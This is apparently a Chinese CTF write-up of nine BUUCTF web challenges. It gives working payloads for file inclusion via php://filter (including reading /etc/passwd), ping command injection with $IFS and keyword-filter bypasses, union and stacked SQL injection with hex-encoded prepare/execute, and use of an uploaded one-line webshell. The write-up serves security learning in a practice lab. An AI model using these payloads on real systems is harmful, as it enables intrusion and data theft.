BUUCTF Web 刷题短记录(一)
学习记录,短平快,只留操作流程、知识点和 payload,持续更新。
题目索引
| # | 题目 | 考点 |
|---|---|---|
| 1 | [ACTF2020 新生赛]Include | 文件包含 +php://filter读源码 |
| 2 | [ACTF2020 新生赛]Exec | 命令执行 / 命令拼接 |
| 3 | [极客大挑战 2019]Havefun | 源码泄露 / 代码审计 |
| 4 | [极客大挑战 2019]LoveSQL | 字符型 SQL 注入 / union 联合查询 |
| 5 | [强网杯 2019]随便注 | 堆叠注入 / 预处理语句绕过 |
| 6 | [GXYCTF2019]Ping Ping Ping | 命令执行 / 空格与关键字绕过 |
| 7 | [SUCTF 2019]EasySQL | 堆叠注入 / sql_mode |
| 8 | [极客大挑战 2019]Secret File | 文件包含 +php://filter |
| 9 | [极客大挑战 2019]Knife | 一句话木马 / 蚁剑连接 |
[ACTF2020 新生赛]Include
考点:文件包含(LFI)+ PHP 伪协议
首页只有一个链接,href 直接把参数名告诉了我们:
<ahref="?file=flag.php">tips</a>点进去?file=flag.php,页面只有一句Can you find out the flag?。
include一个 php 文件时,PHP 是当代码执行的:echo的内容会输出,//CTF2{...}是注释,解析器直接丢掉。所以直接包含,永远看不到 flag。
先用同样的手法把入口源码读出来,看清过滤规则:
$file=$_GET["file"];if(stristr($file,"php://input")||stristr($file,"zip://")||stristr($file,"phar://")||stristr($file,"data:")){exit('hacker!');}include($file);黑名单挡了四个协议,独独漏了php://filter。
思路:别让 PHP 执行它,而是让它在“交给解析器之前”变成普通文本。php://filter的read=convert.base64-encode正好在读取阶段就把整份源码(含<?php)编码掉,include拿到的是一串没有 PHP 标签的 base64,只能当 HTML 原样输出。
payload:
?file=php://filter/read=convert.base64-encode/resource=flag.phpread=可以省,convert.base64-encode不能省——少了它,流里还是原始<?php,照样执行。
回显:
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL0NURjJ7NWUwZjdkZGYtM2QyZC00MjQ1LTljZjQtYzQ0ZDRmNTM1YjE3fQo=解码:
echo'PD9waHAK...NQo='|base64-d<?phpecho"Can you find out the flag?";//CTF2{5e0f7ddf-3d2d-4245-9cf4-c44d4f535b17}flag:CTF2{5e0f7ddf-3d2d-4245-9cf4-c44d4f535b17}
同一条链还能读任意文件,改resource=就行:
?file=php://filter/read=convert.base64-encode/resource=index.php ?file=php://filter/read=convert.base64-encode/resource=/etc/passwd小结
include会执行 PHP 代码,想看源码就得让文件在“被读取”阶段就变形。php://filter是伪协议里最常用的读源码工具,convert.base64-encode把<?php一起编码,绕过执行。- 黑名单只列了四个协议,
php://filter不在里面——黑名单思维永远有漏网之鱼。
[ACTF2020 新生赛]Exec
考点:命令执行(命令拼接)
打开是个 ping 界面,输入127.0.0.1有回显,推测后端用了exec()或system()一类的函数。于是拿;把原命令截断,拼接自己的命令,再一路路径穿越读到根目录:
127.0.0.1;cat../../../../flag回显:
flag=CTF2{fb7d591a-9a4f-4e62-89d2-de900aaa8208}flag:CTF2{fb7d591a-9a4f-4e62-89d2-de900aaa8208}
小结
- 常见命令拼接符:
;、|、||、&、&&、换行,具体看后端怎么拼。 - 先
ls看清目录,再用cat读文件、find / -name "flag*"全盘找。 - 靶机一般把 flag 放在根目录,路径穿越时数清目录层级。
[极客大挑战 2019]Havefun
考点:源码泄露 / 代码审计
打开题目,页面中没有任何有用的东西。
按惯例 F12 看源码,在页面最底部发现一段被注释掉的 PHP:
<!-- $cat=$_GET['cat']; echo $cat; if($cat=='dog'){ echo 'Syc{cat_cat_cat_cat}'; } -->意思很直白:传进来的cat等于dog,就输出 flag。试一下:
?cat=dogflag:flag{CTF2198316790-f2d3-4995-a5c0-0e0aed156906)}
小结
- “页面什么都没有”不等于没有信息,F12、看注释、看响应头都是基本操作。
- 这题的
echo $cat;没有任何过滤,虽然只是个回显,但也是典型的反射型输入点。 - 代码审计先从注释、隐藏字段、前端校验这类“以为别人看不见”的地方看起。
[极客大挑战 2019]LoveSQL
考点:SQL 注入(字符型 + union 联合查询)
打开是熟悉的登录框,老熟人了。
字符型注入先用万能密码试水:用户名填1'='1'or'1,密码随便,直接登录成功。
登录后观察顶部 URL,有传参的参数,说明在check.php里查库。开始猜列数,order by一路往上加,到第四列开始报错,于是确定只有三列:
然后就是查库名、表名、列名,一路查到 flag:
下面为了看着清楚,payload 没做 URL 编码。实际发送时
'写成%27、#写成%23、空格写成%20,其他特殊字符同理;嫌麻烦就直接丢进 Burp 改包。
-- 查库名/check.php?username=1' union select 1,2,database()#&password=1 -- 查表名 /check.php?username=1'unionselect1,database(),group_concat(table_name)frominformation_schema.tableswheretable_schema="geek"#&password=1-- 查列名/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema="geek"#&password=1 -- 查 flag /check.php?username=1'unionselect1,2,group_concat(id,username,password)fromgeek.l0ve1ysq1#&password=1flag:CTF2{16130656-7d38-4a1c-830d-a87e8fd6e8d0}
小结
- 字符型注入先用
'探路,1'='1'or'1这种万能密码能直接绕过登录。 order by n猜列数,报错前一个数就是列数;union 前后列数必须一致。information_schema.tables/columns拿表名、列名,group_concat()一次带出多条。#把原查询后面的and password=...注释掉,union 才不会被打断。
[强网杯 2019]随便注
考点:SQL 注入(堆叠注入 + 预处理语句绕过关键字过滤)
打开就是这个样子,没什么想法。
按惯例把1、1'、select都试一遍,发现select等一系列关键字被过滤了。
常规注入走不通,换堆叠注入:
1';showtables;#拿到两张表:1919810931114514和words。再看数字表的结构:
1';showcolumnsfrom`1919810931114514`;#只有一个字段,就是 flag。
麻烦在于:后端查询大概率是select * from words where id='$inject'这种形式,查的是words表,而 flag 单独躺在一张只有一列的表里——直接查格式对不上;加上select被过滤,只能绕。
于是用prepare ... from ...+execute执行一条字符串形式的 SQL,字符串用十六进制表示,天然绕开关键字检测:
1';SeT@a=0x73656C656374202A2066726F6D20603139313938313039333131313435313460;prepareexecsqlfrom@a;executeexecsql;#那段十六进制解出来是:
select*from`1919810931114514`SeT大小写混写,同样是为了绕开大小写敏感的黑名单。
最后拿到 flag。这题强烈建议自己动手试一遍,尤其是转十六进制、拼字符串那一步,参数很容易写错。
参考帖子(三种解法,讲得很细):buuctf[强网杯 2019]随便注 1(超详细,三种解法)
flag:CTF2{91bbb9ba-3268-4299-9aba-d3399f480791}
小结
- 堆叠注入的前提是后端用了
mysqli_multi_query()这类支持多语句的接口。 show tables、show columns from不受select黑名单限制,是堆叠注入的起手式。- 关键字过滤可以靠大小写混写、注释、十六进制、
prepare/execute绕。 - 表名全是数字时,记得用反引号
`包起来。
[GXYCTF2019]Ping Ping Ping
考点:命令执行 + 空格与关键字绕过
题目就是一个 ping 输入框。
先按老套路在 IP 后面跟;ls,果然有线索:
?ip=127.0.0.1;ls目录里有两个 php 文件,flag 应该就在flag.php里。直接读,被拦了:
换成index.php也一样。用$IFS$1顶替空格,读一下后端源码:
?ip=127.0.0.1;cat$IFS$1index.phpif(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/",$ip,$match)){echopreg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/",$ip,$match);die("fxck your symbol!");}elseif(preg_match("/ /",$ip)){die("fxck your space!");}elseif(preg_match("/bash/",$ip)){die("fxck your bash!");}elseif(preg_match("/.*f.*l.*a.*g.*/",$ip)){die("fxck your flag!");}$a=shell_exec("ping -c 4 ".$ip);echo"<pre>";print_r($a);翻译一下:
- 符号黑名单里有
& / ? * < > ' " \ ( ) [ ] { },外加\x00-\x20(所有空白字符)——空格被彻底堵死,但;不在名单里。 bash是关键字;flag那个正则.*f.*l.*a.*g.*最阴,四个字母分开写都能中招。
两个绕过:
- 空格 →
$IFS$1。$IFS是 shell 的内部字段分隔符,默认就是空格;$1是空变量,拼起来刚好展开成一个空格。 flag→ 拆开写。先a=g,再写fla$a.php,正则里凑不出连续的flag,交给 shell 展开后又是flag.php。
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php命令是执行了的,但页面里看不到 flag——它被注释在 HTML 里了,F12 看源码:
flag:CTF2{f33c6ee7-439a-40ae-b9a0-bbbfe4d045b3}
小结
$IFS$1、$IFS$9、${IFS}是空格绕过的常用写法;\x00-\x20这种黑名单下,tab 和换行也一起废了。- 关键字正则写成
.*f.*l.*a.*g.*时,变量拼接(a=g; ...fla$a.php)是最省事的绕法。 - 命令执行回显为空不代表没执行,F12 看源码、看注释。
[SUCTF 2019]EasySQL
考点:SQL 注入(堆叠注入 +||的语义)
页面只有一个输入框,POST 参数query,输入什么回显什么。
先抓包看请求(Burp 四步走:挂代理127.0.0.1:8080→ Intercept is on → 抓到 POST 包 → Send to Repeater),改包就是在 body 的query=后面动手:
POST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded query=1输入1回显1→ 数字型,无引号,直接拼接。
试一下堆叠注入,有回显:
1;show tables;回显表名Flag。反推后端语句,只剩一种可能:
select[我的输入]||flagfromFlag坑就在||上:MySQL 默认它是逻辑或不是拼接,1||flag恒等于 1,flag 列根本没被用上。后端支持多语句执行(mysqli_multi_query()),所以有两条路。
方法一:*,1(撑爆字段列表)
select*,1||flagfromFlag → 等价于select*,1fromFlag1||flag恒为 1 无所谓,*把所有列原样带出。(不能只输*,因为* || flag是语法错误,,1就是专门接住模板尾巴的。)
方法二:1;set sql_mode=pipes_as_concat;select 1(改环境)
先把||改成字符串拼接,模板自动拼成select 1||flag from Flag→CONCAT('1', flag),回显1+ flag。
payload:
*,11;setsql_mode=pipes_as_concat;select1拿到 flag。
小结
- 堆叠注入的前提:
mysqli_multi_query()支持多语句。 - MySQL 的
||默认是逻辑或,不是字符串拼接;set sql_mode=pipes_as_concat可改成拼接(会话级生效,同连接的后续语句都算)。 - 黑名单词(
flag、from)全写在服务器模板里,自己不用打——这是绕 WAF 的核心视角。
[极客大挑战 2019]Secret File
考点:文件包含 +php://filter
页面下面有个链接可以点,点进去:
是个查询 flag 的页面,点一下select,又跳到别的页面:
跳转后的页面什么都没有。
打开 Burp 抓一下点select之后的请求,发现中间夹着一个secr3t.php:
访问它,得到源码:
<html><title>secret</title><meta charset="UTF-8"><?phphighlight_file(__FILE__);error_reporting(0);$file=$_GET['file'];if(strstr($file,"../")||stristr($file,"tp")||stristr($file,"input")||stristr($file,"data")){echo"Oh no!";exit();}include($file);//flag放在了flag.php里?></html>../、tp、input、data都被挡了,但php://filter里既没有tp,也没有input/data,能过。直接访问flag.php是拿不到的,照样用 base64 读源码:
/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php把回显那一长串 base64 解出来,flag 在注释里。
flag:CTF2{8af10a92-0362-41df-bc52-e7cf3e3afc61}
小结
- 跳转链路被藏起来时,抓包看中间请求,往往能挖出没有链接的页面(
secr3t.php)。 - 过滤
tp是为了堵php://一类的伪协议,但php://filter字符串里凑不出tp,正好漏过去。 highlight_file(__FILE__)直接把源码摊开给你看,等于开局送答案。
[极客大挑战 2019]Knife
考点:一句话木马 / webshell 管理工具
能见到这道题就可以存档休息了——题目已经把一句话木马传上去了,密码是Syc。
菜刀连一下就行。这里用蚁剑,因为菜刀容易被杀,而且停更很久了。
URL 填靶机地址,密码填Syc,编码器默认。连上后点根目录,flag 就在根目录下:
也可以用命令找:
find/-name"flag*"2>/dev/nullflag:CTF2{673687e7-cec9-48f5-b904-f24e88a153cf}
小结
- 一句话木马本质是
eval($_POST['密码']),客户端只是把 PHP 代码 POST 过去。 - 密码就是 POST 参数名;连接成不成功看返回包,不是看页面长相。
- 拿到 shell 先
whoami、ls /,flag 一般在根目录或/flag。
附:Burp Suite 常用操作与踩坑
- POST body 里空格、
;、*、,原样发就行;放 URL 参数才要%20。Burp 会自动更新Content-Length。 - Drop 之后浏览器报
Request was dropped by user是正常的(请求被丢了)。 - Send 完 flag 在Response 标签里,别盯着 Request 看。
- 抓不到包先检查代理设置和
Intercept is on。
(未完待续)